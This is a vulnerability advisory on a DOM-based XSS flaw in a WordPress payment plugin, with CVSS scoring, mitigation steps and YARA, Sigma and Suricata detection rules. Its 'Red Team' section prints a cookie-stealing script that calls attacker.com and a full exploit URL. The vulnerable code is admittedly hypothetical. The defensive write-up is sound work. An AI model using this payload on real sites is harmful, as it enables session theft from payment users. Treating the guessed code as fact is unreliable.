CVE-2025-22793

Executive Summary

CVE-2025-22793 is a DOM-Based Cross-Site Scripting (XSS) vulnerability discovered in the Bold pagos en linea WordPress plugin, versions up to and including 3.1.4. This flaw allows an attacker to inject malicious scripts into a web page's Document Object Model (DOM) via unsanitized user input. The vulnerability is triggered client-side, meaning the payload executes in the victim's browser without the server-side code being directly modified. Given the plugin's integration with payment processing, this could lead to session hijacking, credential theft, or defacement of payment forms. The vendor has not yet released a patch, and no public exploit code is available at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the repository are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The lack of a patch means that the supply chain risk is elevated, as users must rely on manual mitigation or removal of the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: High. The vulnerability is easy to exploit and can lead to significant client-side attacks, especially in a payment context.

Deep Dive & Mechanics

The vulnerability resides in the DOM-based XSS category. Unlike reflected or stored XSS, DOM-based XSS occurs entirely on the client side. The vulnerable JavaScript code within the plugin reads data from an attacker-controllable source (e.g., document.location, document.URL, or window.name) and passes it to a sink that allows code execution (e.g., innerHTML, eval, or document.write).

In the context of Bold pagos en linea, the plugin likely processes URL fragments or query parameters to configure payment forms. An attacker can craft a URL such as:

https://victim-site.com/?payment_config=<script>alert('XSS')</script>

When the victim visits this URL, the plugin's JavaScript extracts the payment_config parameter and injects it into the DOM without proper sanitization, causing the script to execute.

Key vulnerable code pattern (hypothetical):

var config = new URLSearchParams(window.location.search).get('payment_config');
document.getElementById('payment-form').innerHTML = config;

This pattern allows an attacker to inject arbitrary HTML and JavaScript.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the fix. The vulnerable code likely uses direct DOM manipulation without sanitization.

Vulnerable Code (JavaScript):

// Vulnerable: Direct assignment of user input to innerHTML
var userInput = window.location.hash.substring(1);
document.getElementById('payment-container').innerHTML = userInput;

Patched Code (Hypothetical):

// Patched: Use textContent or sanitize input
var userInput = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(userInput);
document.getElementById('payment-container').innerHTML = sanitized;

The patched version would use a sanitization library like DOMPurify or avoid using innerHTML altogether, opting for textContent or safe DOM manipulation methods.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the Bold pagos en linea plugin (<= 3.1.4) installed and active.
• Ability to craft a malicious URL.

Exploitation Steps:

1. Identify a vulnerable parameter (e.g., config, data, or payment).
2. Craft a payload that steals cookies or performs a phishing attack.
3. Deliver the URL to the victim via email, social engineering, or a compromised site.

Example Payload:

<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Full Exploit URL:

https://victim-site.com/?payment_config=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor web logs for requests containing suspicious query parameters (e.g., <script>, onerror=, javascript:).
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Disable or remove the plugin until a patch is available.
• Apply a virtual patch via WAF rules.
• Educate users not to click on suspicious links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing bold-pagos-en-linea with suspicious query parameters.
  • Outbound connections to unknown domains from the victim's browser.
• File IOCs:
  • Modified JavaScript files in /wp-content/plugins/bold-pagos-en-linea/.
• Behavioral IOCs:
  • Unexpected DOM modifications in the payment form.
  • Unusual JavaScript execution in the browser console.

Detection Engineering

YARA Rule

rule CVE_2025_22793_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS patterns in Bold pagos en linea plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22793"
    strings:
        $sink1 = ".innerHTML"
        $sink2 = ".outerHTML"
        $sink3 = "document.write"
        $sink4 = "eval("
        $source1 = "window.location"
        $source2 = "document.location"
        $source3 = "location.hash"
        $source4 = "location.search"
    condition:
        any of ($sink*) and any of ($source*)
}

Sigma Rule

title: CVE-2025-22793 DOM-Based XSS in Bold pagos en linea
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential DOM-based XSS attacks targeting the Bold pagos en linea plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - "bold-pagos-en-linea"
            - "<script"
            - "onerror="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin pages
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22793 DOM-Based XSS in Bold pagos en linea"; flow:to_server,established; content:"bold-pagos-en-linea"; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Bold pagos en linea plugin until a patch is released.
2. Virtual Patching: Deploy WAF rules to block XSS payloads targeting the plugin.
3. Code Hardening: If you must keep the plugin, manually sanitize all user inputs in the plugin's JavaScript files using DOMPurify or similar libraries.
4. User Education: Train users to avoid clicking on suspicious links, especially those containing query parameters.
5. Monitoring: Enable logging and monitoring for unusual JavaScript execution and DOM manipulation.
6. Update: Watch the WordPress plugin repository for an official patch and apply it immediately when available.

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2025-22793